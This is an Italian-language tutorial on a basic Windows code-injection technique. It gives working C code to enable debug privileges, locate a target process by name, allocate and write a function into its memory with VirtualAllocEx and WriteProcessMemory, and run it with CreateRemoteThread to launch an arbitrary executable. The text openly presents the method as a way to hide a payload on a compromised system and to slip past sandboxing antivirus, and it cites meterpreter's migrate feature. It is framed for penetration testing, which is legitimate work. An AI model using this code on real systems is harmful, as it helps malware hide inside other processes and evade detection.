Code Injection su Windows

INDICE

1. Introduzione

Questo documento ha lo scopo di descrivere una tra le tecniche di iniezione di codice più basilare attraverso l'utilizzo di alcune API messe a disposizione dal sistema operativo Windows per l'interazione tra processi.

L'iniezione di codice potrebbe essere utilizzata nel caso in cui si volesse rendere più **difficoltosa l'individuazione** di una payload all'interno di un sistema compromesso, poiché essa non andrebbe più ricercata su un processo a se stante.

E' possibile trovare un esempio dell'utilizzo più sofisticato della suddetta tecnica nella funzione "migrate" di **meterpreter**, la quale sposta completamente l'esecuzione dell'agente su un processo a scelta dell'attaccante.

Adoperato in simbiosi con alcune meccaniche di evasione, il metodo funziona bene anche in presenza di soluzioni antivirus con componenti di **sandboxing**.
Potrebbe non funzionare altrettanto bene invece, in presenza di soluzioni che fanno uso di componenti di **hooking**, in quanto alcune concatenazioni particolari di chiamate alle API potrebbero essere catturate e comparate con delle firme.

2. Requisiti

Al fine di ottenere un successo è bene ricordare che bisogna avere i permessi corretti per **scrivere ed eseguire** codice nella memoria di un altro processo. E' necessario inoltre disabilitare qualsiasi tipo di ottimizzazione durante la compilazione ed il link del progetto.

3. Overview

L'implementazione descritta nel documento consiste nella seguente lista di operazioni:
- Abilitare i permessi di debug attraverso le API **OpenProcessToken**, **LookupPrivileges** e **AdjustTokenPrivileges**.
- Ottenere un handle al processo attraverso la API **OpenProcess**.
- Allocare le adeguate zone di memoria (per dati e codice) nel processo attraverso la API **VirtualAllocEx**.
- Scrivere i dati e il codice attraverso la API **WriteProcessMemory**.
- Procedere alla creazione di un nuovo thread sul processo attraverso la API **CreateRemoteThread**.

4. Procedimento

In questa sezione del documento verranno spiegati i punti più importanti che riguardano il codice sorgente di esempio allegato.

4.1 Funzioni e strutture

Sono necessarie principalmente una funzione e una struttura dati che verranno iniettate all'interno del processo remoto.
La struttura dati verrà poi passata come parametro alla funzione.

```
typedef BOOL (WINAPI *_CreateProcess)(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LPVOID                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,
  _Out_       LPPROCESS_INFORMATION lpProcessInformation
);
```

Definizione di un tipo di funzione identico alla API **CreateProcess**. Questa definizione sarà utile a dichiarare funzioni che accettino lo stesso tipo e numero di parametri e che ritornino lo stesso tipo di valore.

```
typedef struct {
  _CreateProcess __CreateProcess;
  WCHAR path[MAX_PATH];
} InjectData;
```

Una struttura dati di tipo **InjectData** contiene un puntatore ad una funzione di tipo **_CreateProcess** ed un percorso (**path**) che verrà usato per trovare il programma da avviare.

```
DWORD __stdcall injectFn(PVOID param) {

  /* stack allocation is ok */
  InjectData *injData;
  STARTUPINFOW si;
  PROCESS_INFORMATION pi;


  injData = (InjectData*)param;

  MEMSET_MACRO(&si, 0, sizeof(si));
  MEMSET_MACRO(&pi, 0, sizeof(pi));

  si.cb = sizeof(si);
  /* CreateProcess address should be the same on every process as kernel32.dll will be 99.99% of times loaded at the same address */
  injData->__CreateProcess(injData->path, 0, 0, 0, FALSE, 0, 0, 0, &si, &pi);

  return 0;

}
VOID injectFnEnd() {}
```

La funzione che verrà iniettata all'interno del processo ospite accetta come parametro una struttura di tipo **InjectData** e utilizza il puntatore **injData->__CreateProcess** passando come parametro **injData->path** cosi da avviare l'eseguibile specificato.
In sintesi questa funzione rende possibile l'avvio di un eseguibile arbitrario da parte di un processo remoto.

4.2 Abilitazione dei permessi di debug

E' importante abilitare i permessi di debug sul processo dell'iniettore, poiché in alcuni casi potrebbe non essere possibile accedere al processo remoto senza di essi.
Di seguito una funzione generica per risolvere il problema.

```
int getDebugPriv() {

  HANDLE hToken;
  TOKEN_PRIVILEGES tokenPriv;

  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
  {
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tokenPriv.Privileges[0].Luid);
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, 0, &tokenPriv, sizeof(tokenPriv), NULL, NULL))
      return 1;
    else
      return 0;

  }
  return 1;
}
```

La funzione fa uso delle API **OpenProcessToken**, **LookupPrivilegeValue** e **AdjustTokenPrivilege** per modificare i privilegi del proprio processo.

4.3 Ottenimento handle processo

Il passo successivo consiste nell'ottenere il PID del processo su cui operare, il codice di esempio fa riferimento alle API dichiarate nell'header "**tlhelp32.h**", ma non è l'unico modo di affrontare il problema.

```
DWORD getPidByName(WCHAR *procname) {

  PROCESSENTRY32 entry;
  HANDLE hSnap;

  entry.dwSize = sizeof(PROCESSENTRY32);
  hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

  if (Process32First(hSnap, &entry) == TRUE) {
    while (Process32Next(hSnap, &entry) == TRUE)
    {
      if (wcsicmp(entry.szExeFile, procname) == 0)
        return entry.th32ProcessID;
    }
  }

  return 0;
}
```

In sintesi viene eseguita una **snapshot** della lista dei processi in un preciso istante e successivamente vengono comparati uno per uno con il nome del processo ricercato (procname). Una volta trovato un processo con lo stesso nome viene **ritornato il PID**, altrimenti zero.

Dopo aver ottenuto il PID basta eseguire una chiamata alla API **OpenProcess** specificando i dovuti parametri.

```
/* Getting PID of the process name specified in the cmdline */
pid = getPidByName(argv[1]);
if (!pid)
  goto cleanup;

/* Obtaining a handle to the process */
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess)
  goto cleanup;
```

Nell'esempio vengono specificati come diritti di accesso **PROCESS_ALL_ACCESS** per una questione si semplicità, in realtà dovrebbero essere sufficienti **PROCESS_CREATE_THREAD**, **PROCESS_VM_OPERATION** e **PROCESS_VM_WRITE**.

4.4 Allocazione e scrittura dati e codice

Il penultimo passo consiste nell'allocare la memoria adeguata ai dati e al codice nello spazio del processo remoto e di effettuarne la scrittura.
Ciò è reso possibile da un utilizzo adeguato delle API **VirtualAllocEx** e **WriteProcessMemory**.

```
/* Allocating the right amount of space in the remote process */
pData = VirtualAllocEx(hProcess, 0, sizeof(injData), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pData)
  goto cleanup;

pFn = VirtualAllocEx(hProcess, 0, sizeOfInjFn, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pFn)
  goto cleanup;

/* Writing injData structure and injectFn function into the remote process space */
if (!WriteProcessMemory(hProcess, pData, &injData, sizeof(injData), 0))
  goto cleanup;

if (!WriteProcessMemory(hProcess, pFn, injectFn, sizeOfInjFn, 0))
  goto cleanup;
```

Durante la prima chiamata alla VirtualAllocEx viene richiesta l'allocazione pari alla dimensione della struttura **injData** e rispettivamente, nella seconda, pari alla dimensione della funzione **injectFn**.
La dimensione della funzione injectFn viene calcolata ponendo semplicemente una funzione nulla, la **injectFnEnd**, dopo la definizione della prima ed eseguendo la sottrazione dei due puntatori.

```
/* to be changed to DWORD64 on 64bit systems */
sizeOfInjFn = (DWORD)injectFnEnd - (DWORD)injectFn;
```

In questo modo, disabilitando tutte le ottimizzazioni del linker, è possibile **calcolare** con precisione la dimensione della funzione injectFn.

Le due chiamate alla **WriteProcessMemory** si occupano di scrivere i dati contenuti in **injData** e **injectFn** rispettivamente nei puntatori **pData** e **pFn**, ma nello spazio del processo remoto.

4.5 Creazione thread remoto

Alla fine, assicurandosi che la shellcode non faccia riferimento ad alcuna zona di memoria non accessibile ad un processo estraneo (stringhe, funzioni, etc.), è possibile invocare la **CreateRemoteThread** specificando come funzione il puntatore pFn e come parametro il puntatore pData.

```
/* Starting a new thread in the remote process at the pFn pointer and passing pData pointer to it */
if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pFn, pData, 0, &tid) == NULL)
  goto cleanup;

printf("Success! TID: %u\n", tid);
```

5. Conclusioni

Seppur basilare, questa tecnica non risulta obsoleta poiché spesso può capitare di non poter utilizzare payload convenzionali durante alcune fasi di penetration test e riuscire a far eseguire operazioni sensibili ad altri processi può fare la differenza.

6. Contributi

Grazie a Paolo Campo per una sintassi del testo in italiano più pulita e lineare.

7. Codice di esempio

E’ possibile trovare il codice di esempio nel seguente repository:
https://github.com/pfrankw/code_injection_example